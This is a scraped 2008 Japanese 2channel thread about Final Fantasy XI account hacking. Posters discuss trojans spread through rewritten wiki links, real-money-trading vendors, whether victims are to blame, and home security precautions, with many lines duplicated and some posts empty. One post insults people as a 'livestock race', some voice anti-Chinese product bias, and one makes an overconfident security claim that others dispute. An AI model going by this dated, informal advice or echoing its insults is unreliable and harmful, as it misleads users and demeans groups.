相場と照らし合わせて１７６万ギルとか書けば良いんじゃね？
546 ：既にその名前は使われています：2008/02/05(火) 14:13:02.06 ID:tDVZtEsR
そのアイテム価格のギルをその鯖のRMTレート換算で書けばいいんじゃね
547 ：既にその名前は使われています：2008/02/05(火) 14:52:01.25 ID:edpsPqt2
利用権の侵害なんだから1500円くらいだろ。
額が低すぎると事件性が薄いとか思われそうだから、
今まで課金した金額の合計書いとけ。
額が低すぎると事件性が薄いとか思われそうだから、
今まで課金した金額の合計書いとけ。
548 ：既にその名前は使われています：2008/02/05(火) 16:30:56.46 ID:UGTT1Sj6
549 ：既にその名前は使われています：2008/02/05(火) 18:07:48.12 ID:pRdYh+yW
>>528応援age!!
550 ：既にその名前は使われています：2008/02/05(火) 18:11:05.20 ID:tYdQcNzG
>>528
FireFoxはJava切ってたか？
FireFoxはJava切ってたか？
551 ：既にその名前は使われています：2008/02/05(火) 18:35:13.52 ID:4CKRe46n
Javaは使わんだろ。
QuickTimeとかRealとかFlashとかのプラグインの脆弱性なら
IEもFxも関係無く食える。
IEを一度も起動したことがない(あるいはmicrosoft.com以外に
行ったことがない)とすればだけど。
QuickTimeとかRealとかFlashとかのプラグインの脆弱性なら
IEもFxも関係無く食える。
IEを一度も起動したことがない(あるいはmicrosoft.com以外に
行ったことがない)とすればだけど。
552 ：既にその名前は使われています：2008/02/05(火) 18:36:04.20 ID:4CKRe46n
あとfishbot.rarとか自分で実行したならブラウザ関係ないやね。
553 ：既にその名前は使われています：2008/02/05(火) 18:39:17.20 ID:tDVZtEsR
昔、旧モンクテンプレwikiで業者が必死になってリンク先書き換えとかsex.exeとか添付ファイル貼っててワロタ。
sex.exeはねぇだろ・・・ｗ
sex.exeはねぇだろ・・・ｗ
554 ：既にその名前は使われています：2008/02/05(火) 19:02:52.61 ID:Jz7iWF8s
sex exe 捨てたい
555 ：既にその名前は使われています：2008/02/05(火) 20:09:19.74 ID:pRdYh+yW
とにもかくにも注意喚起上げですお。
556 ：既にその名前は使われています：2008/02/05(火) 23:13:51.19 ID:mVIOqQxP
>>553
これだけ欲望にストレートかつ、場違いなファイル名も珍しいｗｗｗｗｗｗ
これだけ欲望にストレートかつ、場違いなファイル名も珍しいｗｗｗｗｗｗ
557 ：既にその名前は使われています：2008/02/05(火) 23:26:05.31 ID:7Rpq4SKp
そんなことばっかり考えてるから、無駄に人口増えていくんだよｗｗｗｗｗｗｗ
何の役にも立たない家畜人種の分際で子孫繁栄とか考えんなｗｗｗｗｗ
何の役にも立たない家畜人種の分際で子孫繁栄とか考えんなｗｗｗｗｗ
558 ：既にその名前は使われています：2008/02/06(水) 00:32:45.69 ID:FIZHtLE6
559 ：既にその名前は使われています：2008/02/06(水) 01:29:56.29 ID:FIZHtLE6
560 ：既にその名前は使われています：2008/02/06(水) 02:03:37.55 ID:f53oWIir
age
561 ：既にその名前は使われています：2008/02/06(水) 04:01:37.01 ID:azn1A0sE
おやすみまえのあげ
562 ：既にその名前は使われています：2008/02/06(水) 04:10:12.51 ID:vkacIpT+
あなたは今どこで何をしていますか この空の続く場所にいますか
今まで私の心を埋めていたもの 失って始めて気づいた
こんなにも私を支えてくてていた事 こんなにも笑顔をくれていた事
失ってしまった代償は とてつもなく大きすぎて
取り戻そうと必死に 手を伸ばしてもがくけれど
まるで風のようにすり抜けて 届きそうで届かない
孤独と絶望に胸を締め付けられ 心が壊れそうになるけれど
思い出にのこるあなたの笑顔が 私をいつも励ましてくれる
もう一度あの頃に戻ろう 今度はきっと大丈夫 いつもそばで笑っていよう あなたのすぐそばで
あなたは今どこで何をしていますか この空の続く場所にいますか
いつものように笑顔でいてくれますか 今はただそれを願い続ける
ニコ動『you』で聞ける歌です 某アニメの挿入歌？
今まで私の心を埋めていたもの 失って始めて気づいた
こんなにも私を支えてくてていた事 こんなにも笑顔をくれていた事
失ってしまった代償は とてつもなく大きすぎて
取り戻そうと必死に 手を伸ばしてもがくけれど
まるで風のようにすり抜けて 届きそうで届かない
孤独と絶望に胸を締め付けられ 心が壊れそうになるけれど
思い出にのこるあなたの笑顔が 私をいつも励ましてくれる
もう一度あの頃に戻ろう 今度はきっと大丈夫 いつもそばで笑っていよう あなたのすぐそばで
あなたは今どこで何をしていますか この空の続く場所にいますか
いつものように笑顔でいてくれますか 今はただそれを願い続ける
ニコ動『you』で聞ける歌です 某アニメの挿入歌？
563 ：既にその名前は使われています：2008/02/06(水) 09:51:01.13 ID:CdRaOUS2
age
564 ：既にその名前は使われています：2008/02/06(水) 13:59:41.34 ID:etIhvpxx
保守
565 ：既にその名前は使われています：2008/02/06(水) 16:36:04.01 ID:f53oWIir
age
566 ：既にその名前は使われています：2008/02/06(水) 18:07:02.84 ID:FNgNo1yc
あげー
…今日はやたらと下がるのはやいなー
…今日はやたらと下がるのはやいなー
567 ：既にその名前は使われています：2008/02/06(水) 20:45:19.65 ID:FIZHtLE6
＿＿∧_∧
／＼ (,,ﾟДﾟ)＼
＼／|￣ Ｕ Ｕ￣|＼<保守！
＼| |
￣￣￣￣
／＼ (,,ﾟДﾟ)＼
＼／|￣ Ｕ Ｕ￣|＼<保守！
＼| |
￣￣￣￣
568 ：既にその名前は使われています：2008/02/06(水) 21:19:47.16 ID:1bFNAa4K
>>541
>>543
盗む＝窃盗 刑法２３５条
解釈： 違法領得の意思をもって他人の占有する財物をその占有を排除し、
自己の占有化に移す行為
＊財物・・・現在、判例において仮想通貨は財物と認められていない。
よって、窃盗罪の適用なし
＊保護法益・・・窃盗罪の保護法益は占有権、よく所有権と混同される。
もちろん利用権でないことは明らかで、窃盗罪の適用
は当然なく被害届に時価を記載するような場面が元々
ない。
>>543
盗む＝窃盗 刑法２３５条
解釈： 違法領得の意思をもって他人の占有する財物をその占有を排除し、
自己の占有化に移す行為
＊財物・・・現在、判例において仮想通貨は財物と認められていない。
よって、窃盗罪の適用なし
＊保護法益・・・窃盗罪の保護法益は占有権、よく所有権と混同される。
もちろん利用権でないことは明らかで、窃盗罪の適用
は当然なく被害届に時価を記載するような場面が元々
ない。
569 ：既にその名前は使われています：2008/02/06(水) 21:20:42.92 ID:1bFNAa4K
ミス
占有化→占有下
占有化→占有下
570 ：既にその名前は使われています：2008/02/07(木) 00:04:42.69 ID:dhJBx5no
571 ：既にその名前は使われています：2008/02/07(木) 00:07:19.26 ID:W32zudK/
今日あたり大規模BANでもあったかな？
他のRMT関連スレが妙に賑わってるｗ
他のRMT関連スレが妙に賑わってるｗ
572 ：既にその名前は使われています：2008/02/07(木) 00:42:23.92 ID:I3WGbWCM
ほっしゅ
573 ：既にその名前は使われています：2008/02/07(木) 02:05:14.38 ID:dhJBx5no
574 ：既にその名前は使われています：2008/02/07(木) 02:07:28.49 ID:7thKfbRh
ブブリムにいた業者がいなくなってる
575 ：既にその名前は使われています：2008/02/07(木) 02:58:49.18 ID:dhJBx5no
576 ：既にその名前は使われています：2008/02/07(木) 03:30:15.26 ID:7jjI0vq1
下げんな
age
age
577 ：既にその名前は使われています：2008/02/07(木) 05:34:32.15 ID:yH3cChtH
ということは・・・・・
またRMT業者が垢ハックに加わるのか
早く対策しないとやばいんでない？
またRMT業者が垢ハックに加わるのか
早く対策しないとやばいんでない？
578 ：既にその名前は使われています：2008/02/07(木) 08:45:49.51 ID:pngWxcrx
検体集めてるんだけど、最近アカハックの新作トロイ減ってるなぁ。
今月に入ってから9匹しか捕まえてない。
リネージュ資料室の更新チェックもすっからかんだし。
BBSやブログやwikiなんかには相変わらず爆撃されてるけど
肝心のexeが古くて、よっぽどヘボなアンチウイルスでもなけりゃ
軒並み撃墜されちまう。プログラマ捕まったのか?
今月に入ってから9匹しか捕まえてない。
リネージュ資料室の更新チェックもすっからかんだし。
BBSやブログやwikiなんかには相変わらず爆撃されてるけど
肝心のexeが古くて、よっぽどヘボなアンチウイルスでもなけりゃ
軒並み撃墜されちまう。プログラマ捕まったのか?
579 ：既にその名前は使われています：2008/02/07(木) 09:11:18.37 ID:yH3cChtH
垢ハック被害者はRMT関係者？
580 ：既にその名前は使われています：2008/02/07(木) 09:47:36.84 ID:EHRrm0hG
>>579
業者乙
業者乙
581 ：既にその名前は使われています：2008/02/07(木) 09:48:43.16 ID:+ConvD3U
>>579
そそ。RMTで買ったやつらが買った金を巻き上げられてる
そそ。RMTで買ったやつらが買った金を巻き上げられてる
582 ：既にその名前は使われています：2008/02/07(木) 10:03:28.29 ID:yH3cChtH
583 ：既にその名前は使われています：2008/02/07(木) 10:35:19.37 ID:+ConvD3U
外部ツール使用、RMT経験者、外部ツールダウンロード誘導URL踏み、etc・・・
悪いことしようとしたり、悪いことやった奴が逆に悪いことされちゃってる。
同情する価値無し。自業自得。自分でまいたタネ
悪いことしようとしたり、悪いことやった奴が逆に悪いことされちゃってる。
同情する価値無し。自業自得。自分でまいたタネ
584 ：既にその名前は使われています：2008/02/07(木) 10:42:22.87 ID:EHRrm0hG
わかったからageで書いてくれｗ
585 ：既にその名前は使われています：2008/02/07(木) 10:44:07.33 ID:EHRrm0hG
RMTもツールも一切やって無くても
wiki見ただけで感染してる人もたくさん居るわけですが・・・・
まあ、何とかして被害者＝RMT、ツーラーって事にしたい人に言っても無駄ですか。
wiki見ただけで感染してる人もたくさん居るわけですが・・・・
まあ、何とかして被害者＝RMT、ツーラーって事にしたい人に言っても無駄ですか。
586 ：既にその名前は使われています：2008/02/07(木) 10:49:56.85 ID:+ConvD3U
587 ：既にその名前は使われています：2008/02/07(木) 10:59:35.05 ID:EHRrm0hG
ヤレヤレ（ＡＡ略
588 ：既にその名前は使われています：2008/02/07(木) 11:02:41.58 ID:yH3cChtH
589 ：既にその名前は使われています：2008/02/07(木) 11:05:33.35 ID:qOGDGtwg
ID:EHRrm0hGは知ったかぶりをしているだけであって発言に中身が無い。
こいつこそ業者乙
こいつこそ業者乙
590 ：既にその名前は使われています：2008/02/07(木) 11:06:26.66 ID:EHRrm0hG
>>588
マジレスして良さそうな人なのでマジレスすると
wikiの一見なんでもないリンク。
でもそれは業者が罠で仕掛けたトロイの仕掛けてあるサイトへのリンクだったりすることもある。
wikiなんて外部からいくらでも改ざん出来るからな。
モソクwikiやら、学者wikiやらで感染した人たくさん居るだろ。
マジレスして良さそうな人なのでマジレスすると
wikiの一見なんでもないリンク。
でもそれは業者が罠で仕掛けたトロイの仕掛けてあるサイトへのリンクだったりすることもある。
wikiなんて外部からいくらでも改ざん出来るからな。
モソクwikiやら、学者wikiやらで感染した人たくさん居るだろ。
591 ：既にその名前は使われています：2008/02/07(木) 11:09:16.64 ID:qOGDGtwg
>>590
それは見ただけとわ言わないと思うのは俺だけか？？？
それは見ただけとわ言わないと思うのは俺だけか？？？
592 ：既にその名前は使われています：2008/02/07(木) 11:12:51.06 ID:EHRrm0hG
>>591
たとえばだ、記事の中に戦術って言うリンクがあって
その戦術って言うリンクだっていじり放題な訳だ。
戦術のところクリックしたら業者の罠サイトへ飛ばされるって仕組み。
そう言うことをし放題なのがwiki。
たとえばだ、記事の中に戦術って言うリンクがあって
その戦術って言うリンクだっていじり放題な訳だ。
戦術のところクリックしたら業者の罠サイトへ飛ばされるって仕組み。
そう言うことをし放題なのがwiki。
593 ：既にその名前は使われています：2008/02/07(木) 11:13:38.53 ID:yH3cChtH
594 ：既にその名前は使われています：2008/02/07(木) 11:13:52.73 ID:EHRrm0hG
っていうかおまえらほんとは業者じゃなかったりするわけ？
595 ：既にその名前は使われています：2008/02/07(木) 11:14:49.98 ID:HWctpBXp
596 ：既にその名前は使われています：2008/02/07(木) 11:16:18.19 ID:EHRrm0hG
>>593
wikiの管理も認可制にすればだいぶ違うと思うよ。
でも、それをしてなかった時期がモソクやら学者wikiにはあったわけ。
いまはどうかしらんが。
それと日々ウィルスとワクチンはおいかけっこしてるってのもあるんじゃね？
wikiの管理も認可制にすればだいぶ違うと思うよ。
でも、それをしてなかった時期がモソクやら学者wikiにはあったわけ。
いまはどうかしらんが。
それと日々ウィルスとワクチンはおいかけっこしてるってのもあるんじゃね？
597 ：既にその名前は使われています：2008/02/07(木) 11:20:32.02 ID:EHRrm0hG
あと、ちょっとネットに詳しい人から見ればアフォとしか言いようがないが、
不用意にネ実なんかに貼ってあるリンク踏んで感染とかあるからな。
このスレの上の方にもあるけど、mixiなんかで武器防具一覧へのHPのリンクとか偽って罠サイトへ飛ばされて感染なんてケースもあるわけだ。
被害者＝RMT、ツーラーって認識ｲｸﾅｲ。
不用意にネ実なんかに貼ってあるリンク踏んで感染とかあるからな。
このスレの上の方にもあるけど、mixiなんかで武器防具一覧へのHPのリンクとか偽って罠サイトへ飛ばされて感染なんてケースもあるわけだ。
被害者＝RMT、ツーラーって認識ｲｸﾅｲ。
598 ：既にその名前は使われています：2008/02/07(木) 11:24:42.98 ID:saPICBLR
垢ハックが問題になっている今、自分の身は自分で守るしかない。
もしくはスクエニがセキュリティー強化して、プロバ制限機能などをつければ不正アクセスは減ると思う
もしくはスクエニがセキュリティー強化して、プロバ制限機能などをつければ不正アクセスは減ると思う
599 ：既にその名前は使われています：2008/02/07(木) 11:28:14.67 ID:EHRrm0hG
しかしまあ、垢ハック被害者＝RMT利用者とかツーラーとか言う認識が結構多いんだろうな。
俺もRMTとかツールに関しては反対の立場なんだがなぁ。
俺もRMTとかツールに関しては反対の立場なんだがなぁ。
600 ：既にその名前は使われています：2008/02/07(木) 11:37:04.78 ID:saPICBLR
601 ：既にその名前は使われています：2008/02/07(木) 11:37:33.73 ID:lx6m76Wk
しばらく前の時なんかFFXI wikiの外部リンクが
全部垢ハックのURLに書き換えられてたりして酷いものだったが・・・
最近はブログのトラックバックに仕込まれる事が多い。
あとはネ実やネ質のあちこちにも貼られている。
踏むのは大概ツーラーじゃなくてPC初心者なんじゃないの？
全部垢ハックのURLに書き換えられてたりして酷いものだったが・・・
最近はブログのトラックバックに仕込まれる事が多い。
あとはネ実やネ質のあちこちにも貼られている。
踏むのは大概ツーラーじゃなくてPC初心者なんじゃないの？
602 ：既にその名前は使われています：2008/02/07(木) 11:41:35.43 ID:8KmJaMgI
ここまでネットが普及した現在、自己責任なんて言うのは、間違い。
毒入り餃子食べた奴が悪いと言っているのも同然。
毒入り餃子食べた奴が悪いと言っているのも同然。
603 ：既にその名前は使われています：2008/02/07(木) 11:42:33.20 ID:saPICBLR
604 ：既にその名前は使われています：2008/02/07(木) 11:44:23.15 ID:saPICBLR
605 ：既にその名前は使われています：2008/02/07(木) 11:45:48.59 ID:R4GMDc7y
垢ハック被害者＝RMT利用者とかツーラーとか言う認識
ではなく、可能性の問題だな。
RMT利用者とかツーラー=垢ハック被害者になりかねない、隙のある人物
だな。
特に非自作ツールを使うレベルの低いツーラーの垢は、最も垢ハックしやすい。
PS2、箱○オンリーで、一度もPCを触った事がないユーザーはまず垢ハックされない
（必然的にRMT利用者でもツーラーでもない）
ではなく、可能性の問題だな。
RMT利用者とかツーラー=垢ハック被害者になりかねない、隙のある人物
だな。
特に非自作ツールを使うレベルの低いツーラーの垢は、最も垢ハックしやすい。
PS2、箱○オンリーで、一度もPCを触った事がないユーザーはまず垢ハックされない
（必然的にRMT利用者でもツーラーでもない）
606 ：既にその名前は使われています：2008/02/07(木) 11:45:50.08 ID:EHRrm0hG
>>600
ソースｗ
・・・まあ、中にはそう言う香具師もいることは否定しない。
自業自得とはまさにこのことだ罠ｗ
だけど、そうじゃない人もたくさん居ると言うこと。
>>602
同意。
まあ、そう言う理屈から言えば中国製食べた香具師が悪いって事になるのか？ｗ
でも中国製って表記されてない食品もあるわけだがｗ
ソースｗ
・・・まあ、中にはそう言う香具師もいることは否定しない。
自業自得とはまさにこのことだ罠ｗ
だけど、そうじゃない人もたくさん居ると言うこと。
>>602
同意。
まあ、そう言う理屈から言えば中国製食べた香具師が悪いって事になるのか？ｗ
でも中国製って表記されてない食品もあるわけだがｗ
607 ：既にその名前は使われています：2008/02/07(木) 11:48:51.73 ID:saPICBLR
>>602
更に言えば食べた奴が悪いとは言わないが毒入り餃子がでるかなり前からウナギやおもちゃやらなんやらとあった。
我が家はメイドイン○○は絶対買わないし買い物をするときは注意してみてる。
自己防衛は出来る
ハック感染も踏んだ奴が悪いとまでは言わないが自己防衛できる。
更に言えば食べた奴が悪いとは言わないが毒入り餃子がでるかなり前からウナギやおもちゃやらなんやらとあった。
我が家はメイドイン○○は絶対買わないし買い物をするときは注意してみてる。
自己防衛は出来る
ハック感染も踏んだ奴が悪いとまでは言わないが自己防衛できる。
608 ：既にその名前は使われています：2008/02/07(木) 11:50:54.80 ID:EHRrm0hG
> PS2、箱○オンリーで、一度もPCを触った事がないユーザーはまず垢ハックされない
> （必然的にRMT利用者でもツーラーでもない）
揚げ足取る訳じゃないが、以前はソフトのツールじゃなくてハードのツール使ってたＰＳ２ユーザーもいる。
RMTはPCでもＰＳ２でも出来る。
> （必然的にRMT利用者でもツーラーでもない）
揚げ足取る訳じゃないが、以前はソフトのツールじゃなくてハードのツール使ってたＰＳ２ユーザーもいる。
RMTはPCでもＰＳ２でも出来る。
609 ：既にその名前は使われています：2008/02/07(木) 11:53:28.76 ID:EHRrm0hG
>>607
自己防衛出来るのはそれが危険だという認識が出来た後。
知らないうちはやりようがない罠ｗ
それと、その方法じゃ中国産の食品は完全にはシャットアウト出来ないぞ。
ノートン入れてるから安全と言ってるのとかわらんｗ
自己防衛出来るのはそれが危険だという認識が出来た後。
知らないうちはやりようがない罠ｗ
それと、その方法じゃ中国産の食品は完全にはシャットアウト出来ないぞ。
ノートン入れてるから安全と言ってるのとかわらんｗ
610 ：既にその名前は使われています：2008/02/07(木) 11:56:02.43 ID:R4GMDc7y
・基本的に責任の所在が怪しいEXEは実行しない。
・ネットサーフィン用PCとオンラインゲーム用PCは分けて使用する。
・ネットサーフィン用PCはセキュリティ対策を重視し、基本的にスクリプト等は実行させない。
・PS2か箱○でプレイする。
・セキュリティが脆弱な製品は使用しない。
この辺りを守れば、まず垢ハックはない。
被害者はどれかを守っていない可能性が高い。
被害者が悪ではなく、あくまでも加害者が悪であり、
被害者は単に犯罪に合いやすい人って事だがな。
・ネットサーフィン用PCとオンラインゲーム用PCは分けて使用する。
・ネットサーフィン用PCはセキュリティ対策を重視し、基本的にスクリプト等は実行させない。
・PS2か箱○でプレイする。
・セキュリティが脆弱な製品は使用しない。
この辺りを守れば、まず垢ハックはない。
被害者はどれかを守っていない可能性が高い。
被害者が悪ではなく、あくまでも加害者が悪であり、
被害者は単に犯罪に合いやすい人って事だがな。
611 ：既にその名前は使われています：2008/02/07(木) 11:57:08.17 ID:5NV/rm4F
612 ：既にその名前は使われています：2008/02/07(木) 11:58:36.88 ID:yH3cChtH
613 ：既にその名前は使われています：2008/02/07(木) 11:58:56.20 ID:5NV/rm4F
614 ：既にその名前は使われています：2008/02/07(木) 12:02:24.13 ID:R4GMDc7y
>>608 PS2でツール使ってて、PCは触った事がない奴が、
何処でハード（メモリ操作）ツールや、RMT先を見つけるのか知らないが、
無理矢理垢ハックされたいなら、そりゃ出来るだろうな。
あと、PS2のRMTで危険なのは、育成代行と垢購入だけで、
ギル、アイテム売買なら垢ハックの危険性は別に上がらないがね。BANはあるが。
PC使わない以上、アナログな手段でしか、業者と接触してないんだからな。
何処でハード（メモリ操作）ツールや、RMT先を見つけるのか知らないが、
無理矢理垢ハックされたいなら、そりゃ出来るだろうな。
あと、PS2のRMTで危険なのは、育成代行と垢購入だけで、
ギル、アイテム売買なら垢ハックの危険性は別に上がらないがね。BANはあるが。
PC使わない以上、アナログな手段でしか、業者と接触してないんだからな。
615 ：既にその名前は使われています：2008/02/07(木) 12:03:29.59 ID:5NV/rm4F
・基本的に責任の所在が怪しいEXEは実行しない。 納得
・ネットサーフィン用PCとオンラインゲーム用PCは分けて使用する。 無理（2台持ってない）
・ネットサーフィン用PCはセキュリティ対策を重視し、基本的にスクリプト等は実行させない。 無理（仕方が無い）
・PS2か箱○でプレイする。 無理（持ってない、すでにPC版でやってるから買いなおすのは嫌）
・セキュリティが脆弱な製品は使用しない。 無理（仕方が無い）
これが普通の人
・ネットサーフィン用PCとオンラインゲーム用PCは分けて使用する。 無理（2台持ってない）
・ネットサーフィン用PCはセキュリティ対策を重視し、基本的にスクリプト等は実行させない。 無理（仕方が無い）
・PS2か箱○でプレイする。 無理（持ってない、すでにPC版でやってるから買いなおすのは嫌）
・セキュリティが脆弱な製品は使用しない。 無理（仕方が無い）
これが普通の人
616 ：既にその名前は使われています：2008/02/07(木) 12:05:51.26 ID:EHRrm0hG
617 ：既にその名前は使われています：2008/02/07(木) 12:08:06.96 ID:R4GMDc7y
>>613 PC1台と、PS2か箱○を使えばいいだろ。
敢えてPC1台で全部やるなら、
セキュリティが弱い状態で使ってる意識を持つべきだ。
毎日パスワード変えるとか、定期的にPCをフォーマットすれば、垢ハックはされにくいんじゃね。
そっちの方が明らかに面倒だが。
敢えてPC1台で全部やるなら、
セキュリティが弱い状態で使ってる意識を持つべきだ。
毎日パスワード変えるとか、定期的にPCをフォーマットすれば、垢ハックはされにくいんじゃね。
そっちの方が明らかに面倒だが。
618 ：既にその名前は使われています：2008/02/07(木) 12:12:20.92 ID:YAl3PrFB
そもそもPC二台持ってる奴がその二台ともつかって2アカ
操作しないとは思えないのだが
この点はやりたくとも我慢なのかな？？？
操作しないとは思えないのだが
この点はやりたくとも我慢なのかな？？？
619 ：既にその名前は使われています：2008/02/07(木) 12:15:37.78 ID:EHRrm0hG
>>615
あと、リンクは不用意には踏まないってことな。
うｐろだなんかも危ないの仕組まれてることあるみたいだし、見覚えのあるURLだから安心って事はない。
なにせ、相手は何とかして金をだまし取ろうと必死な人たちだから、手を変え品を変え引っかけようとしてる。
あと、リンクは不用意には踏まないってことな。
うｐろだなんかも危ないの仕組まれてることあるみたいだし、見覚えのあるURLだから安心って事はない。
なにせ、相手は何とかして金をだまし取ろうと必死な人たちだから、手を変え品を変え引っかけようとしてる。
620 ：既にその名前は使われています：2008/02/07(木) 12:17:02.60 ID:EHRrm0hG
621 ：既にその名前は使われています：2008/02/07(木) 12:18:12.29 ID:YAl3PrFB
ふと思ったんだが
5インチベイに付けるHDD入れ替える奴買ってきて
OSとFF11だけ入れたのと、普通のPC作業用の奴の二種類
作ってFF11やるときだけ入れ替えれば良いのではないかな？
多少お金はかかるがもう一台PC用意するよりは遙かに安く済む
と思うんだがｗ
5インチベイに付けるHDD入れ替える奴買ってきて
OSとFF11だけ入れたのと、普通のPC作業用の奴の二種類
作ってFF11やるときだけ入れ替えれば良いのではないかな？
多少お金はかかるがもう一台PC用意するよりは遙かに安く済む
と思うんだがｗ
622 ：既にその名前は使われています：2008/02/07(木) 12:18:51.38 ID:R4GMDc7y
ネット専用PCは2,3万で買えるPCで充分だろう。
オンラインゲーム用のPCを複数台買える人間なら、2,3万なんか対した値段じゃない。
ノートンとかは複数台に入れられるライセンスだしな。
オンラインゲーム用のPCを複数台買える人間なら、2,3万なんか対した値段じゃない。
ノートンとかは複数台に入れられるライセンスだしな。
623 ：既にその名前は使われています：2008/02/07(木) 12:36:00.83 ID:yH3cChtH
今聞いた話ではWindowsを最新にしていた人は、今までのFF11関連のアカウントハッキングの被害に遭うことはなかったとのことですが
そうなると何らかのコピー製品（犯罪？）を使用していると被害に遭うのでしょうか？
そうなると何らかのコピー製品（犯罪？）を使用していると被害に遭うのでしょうか？
624 ：既にその名前は使われています：2008/02/07(木) 12:42:04.22 ID:EHRrm0hG
>>623
どこで聞いたの？
どこで聞いたの？
625 ：既にその名前は使われています：2008/02/07(木) 12:49:08.75 ID:yH3cChtH
626 ：既にその名前は使われています：2008/02/07(木) 13:05:56.44 ID:5NV/rm4F
>>621
それいいなｗOSは2個買わないとだめか？
それいいなｗOSは2個買わないとだめか？
627 ：既にその名前は使われています：2008/02/07(木) 13:12:36.94 ID:5NV/rm4F
極一般的な人たちってそんなにセキュリティーのことだのPCの構造だの
ウイルスの仕組みだのって知らない人が多いと思うんだ。
俺も含めそういう人たちが安全のためにってNORTONとかの有料のセキュリティーソフトを入れてるんだけど
ノートンいれててアップデートもこまめに行っててもクリックしただけで感染しちゃうん？
だとしたら有料のくせにブロックできないってどんだけぇー。金払ってまで買うこと無いってことか？
たまに２ｃｈ見てるといきなりウイルスを削除しましたとか出ることあるけどこれはブロックしてるんかい？
ウイルスの仕組みだのって知らない人が多いと思うんだ。
俺も含めそういう人たちが安全のためにってNORTONとかの有料のセキュリティーソフトを入れてるんだけど
ノートンいれててアップデートもこまめに行っててもクリックしただけで感染しちゃうん？
だとしたら有料のくせにブロックできないってどんだけぇー。金払ってまで買うこと無いってことか？
たまに２ｃｈ見てるといきなりウイルスを削除しましたとか出ることあるけどこれはブロックしてるんかい？
628 ：既にその名前は使われています：2008/02/07(木) 13:13:01.15 ID:EHRrm0hG
>>623
> 今聞いた話ではWindowsを最新にしていた人は、今までのFF11関連のアカウントハッキングの被害に遭うことはなかったとのことですが
たまたま狙われなかっただけかと。
> そうなると何らかのコピー製品（犯罪？）を使用していると被害に遭うのでしょうか？
リスクはかなり高くなるだろうな。
でおまいは正直なところ、海賊版のWindowsを使ってるのか？
> 今聞いた話ではWindowsを最新にしていた人は、今までのFF11関連のアカウントハッキングの被害に遭うことはなかったとのことですが
たまたま狙われなかっただけかと。
> そうなると何らかのコピー製品（犯罪？）を使用していると被害に遭うのでしょうか？
リスクはかなり高くなるだろうな。
でおまいは正直なところ、海賊版のWindowsを使ってるのか？
629 ：既にその名前は使われています：2008/02/07(木) 13:18:04.28 ID:EHRrm0hG
>>627
さっきも書いたけどウィルスとワクチンってイタチごっこしてるんだよ。
そのときのウィルスやワームに対して対応してるワクチンが入ってないと感染するだろうな。
つまり、最新版のウィルスに対しては無防備な事が多いわけ。
でも、ちょっと前の古いのに対しては有効な事がほとんどだ罠。
ウィルスソフト入れてないと、五万とあるこれらの古いウィルスに対しても無防備になっちゃうわけ。
っつーか、おまい無闇ににちゃんのリンク踏むなんて危険すぎｗ
さっきも書いたけどウィルスとワクチンってイタチごっこしてるんだよ。
そのときのウィルスやワームに対して対応してるワクチンが入ってないと感染するだろうな。
つまり、最新版のウィルスに対しては無防備な事が多いわけ。
でも、ちょっと前の古いのに対しては有効な事がほとんどだ罠。
ウィルスソフト入れてないと、五万とあるこれらの古いウィルスに対しても無防備になっちゃうわけ。
っつーか、おまい無闇ににちゃんのリンク踏むなんて危険すぎｗ
630 ：既にその名前は使われています：2008/02/07(木) 13:20:42.09 ID:yH3cChtH
>>628
正式版なので今現在まで出回っていた物は入ってきても感染することはないと言われました。
なので今までのアカウントハッキングの被害者は、公式発表のWindowsの最新版が使えない人、もしくは直接自分でインストールした人だそうです。
自分でインストールした人はツーラーと言うことになるそうです。
正式版なので今現在まで出回っていた物は入ってきても感染することはないと言われました。
なので今までのアカウントハッキングの被害者は、公式発表のWindowsの最新版が使えない人、もしくは直接自分でインストールした人だそうです。
自分でインストールした人はツーラーと言うことになるそうです。
631 ：既にその名前は使われています：2008/02/07(木) 13:24:36.03 ID:EHRrm0hG
俺は釣られたのか？orz
632 ：既にその名前は使われています：2008/02/07(木) 13:26:37.95 ID:4SehbBvQ
Windowsが最新でも抜かれた例が最近にも報告されたはず。
633 ：既にその名前は使われています：2008/02/07(木) 13:30:04.06 ID:RYbHopeO
>>631正論やね
諦めて新しくキャラ作り直せや
諦めて新しくキャラ作り直せや
634 ：既にその名前は使われています：2008/02/07(木) 13:32:19.47 ID:fIV1aKx6
ちゃんと正規の物で最新にアップデートしててPG2もいれてたけど
先月獣wikiのメニューバーの狩場リンク先が罠ブログに書き換えられてて
ウィルス2個ほど感染しましたよ。
いつも飛ぶ前にアドレス見るんだが、夜遅くでうっかり確認せずに踏んだ。
ネット閲覧用の専用PCなのでハックはなかったけどね～。
罠ブログはどっかのサイトパクったぽい「あけましておめででとう」と
黒AF2着た♀樽のSSがTOPにあるサイトで、aguseで見たらラスベガスだったｗ
やっぱインタネットオプションのセキュリティもいじってないと危険。
先月獣wikiのメニューバーの狩場リンク先が罠ブログに書き換えられてて
ウィルス2個ほど感染しましたよ。
いつも飛ぶ前にアドレス見るんだが、夜遅くでうっかり確認せずに踏んだ。
ネット閲覧用の専用PCなのでハックはなかったけどね～。
罠ブログはどっかのサイトパクったぽい「あけましておめででとう」と
黒AF2着た♀樽のSSがTOPにあるサイトで、aguseで見たらラスベガスだったｗ
やっぱインタネットオプションのセキュリティもいじってないと危険。
635 ：既にその名前は使われています：2008/02/07(木) 13:36:14.83 ID:fIV1aKx6
>>634追記
avast!入れてたがサイト飛んでも反応ナシ、スキャンでも何も発見できず。
だが全然関係ないブログ飛ばされるなんて普通ありえないので
トレンドマイクロとカスペルスキーのオンラインスキャンで見たら
後者のみウィルスが見つかった。
avast!入れてたがサイト飛んでも反応ナシ、スキャンでも何も発見できず。
だが全然関係ないブログ飛ばされるなんて普通ありえないので
トレンドマイクロとカスペルスキーのオンラインスキャンで見たら
後者のみウィルスが見つかった。
636 ：既にその名前は使われています：2008/02/07(木) 13:48:10.22 ID:/QslVeuk
>感染することはない
ちょっといいすぎかな。「感染しにくくなる」くらいじゃないか。
ちょっといいすぎかな。「感染しにくくなる」くらいじゃないか。
637 ：既にその名前は使われています：2008/02/07(木) 13:53:58.67 ID:Q5SM0l5/
yH3cChtHさん、上司の受け売りで知ったかぶってないでもうちょっと勉強なさい。
EHRrm0hGさんが言うように、ウィルスってもんは気を付けていても感染する可能性があるもんだ。
それを知らずに被害者を勝手な思い込みで犯罪者扱いってすごくかっこわるいよ。
EHRrm0hGさんが言うように、ウィルスってもんは気を付けていても感染する可能性があるもんだ。
それを知らずに被害者を勝手な思い込みで犯罪者扱いってすごくかっこわるいよ。
638 ：既にその名前は使われています：2008/02/07(木) 14:00:30.90 ID:yH3cChtH
>>635
